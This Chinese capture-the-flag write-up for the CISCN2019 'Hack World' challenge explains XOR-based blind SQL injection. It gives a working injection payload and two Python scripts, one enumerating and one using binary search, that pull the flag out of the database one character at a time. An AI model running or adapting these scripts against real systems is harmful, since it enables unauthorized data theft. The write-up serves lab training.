在学sql盲注脚本的时候碰到了使用二分法盲注字段的情况,学习一下。
环境: [CISCN2019 华北赛区 Day2 Web1]Hack World
复现地址:BUUCTF
打开题目
直接告诉了flag在flag表和flag列里,让我们提交id。
这道题过滤了一些字段以及常用注入语句,可以用Burpsuite来fuzz测试一下,如下所示,长度为482的代表被过滤
最后使用的方法是异或注入,有关异或注入的原理,可参考异或注入
直接给出payload:1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))
解题
开始编写盲注脚本,这里思路有很多,有枚举法,二分法,还看到过北邮大佬的延时注入,最简单的一种是枚举,直接贴出:
import requests
url = "http://c23802b8-f4bb-43f3-ae9e-aedcd32d9481.node3.buuoj.cn/index.php"
words = "Hello, glzjin wants a girlfriend."
flag=""
for i in range(1,100):
print('----------------------------------------------------')
for j in range(32,129):#ascii值范围
data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)}
re = requests.post(url=url,data=data).text
#如果回显为words内容,打印出j转换后的字符
if words in re:
flag+=chr(j)
print(flag)
break
大概跑个5分钟,即得flag.
第二种是这次需要学习的二分法。
在这里插入图片描述
关于二分法的知识:
首先,从数组的中间元素开始搜索,如果该元素正好是目标元素,则搜索过程结束,否则执行下一步。
如果目标元素大于/小于中间元素,则在数组大于/小于中间元素的那一半区域查找,然后重复步骤(1)的操作。
如果某一步数组为空,则表示找不到目标元素。
也很好理解,对于这题,首先取第一个字符的Ascii值同(32,130)的中间值相比较,如果正好相等,则输出字符,如果Ascii的值大于中间值,则取中间值到最大值这一范围的中间值继续同字符的Ascii值比较,重复上述操作直到两个值相等为止,最终输出整个字符串。按照这个思路编写脚本:
import requests
url = "http://c23802b8-f4bb-43f3-ae9e-aedcd32d9481.node3.buuoj.cn/index.php"
result = ""
for i in range(1,100):
min_value = 33
max_value = 130
mid = (min_value+max_value)//2 #中值
while(min_value<max_value):
payload ={"id" : "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)}
html = requests.post(url,data=payload)
print(payload)
if "Hello, glzjin wants a girlfriend." in html.text:
#ascii值比mid值大
min_value = mid+1
else:
max_value = mid
mid = (min_value+max_value)//2
#找不到目标元素时停止
if(chr(mid)==" "):
break
result += chr(mid)
print(result)
print("fina flag:",result)
同样得到flag,并且速度比枚举法要快的多。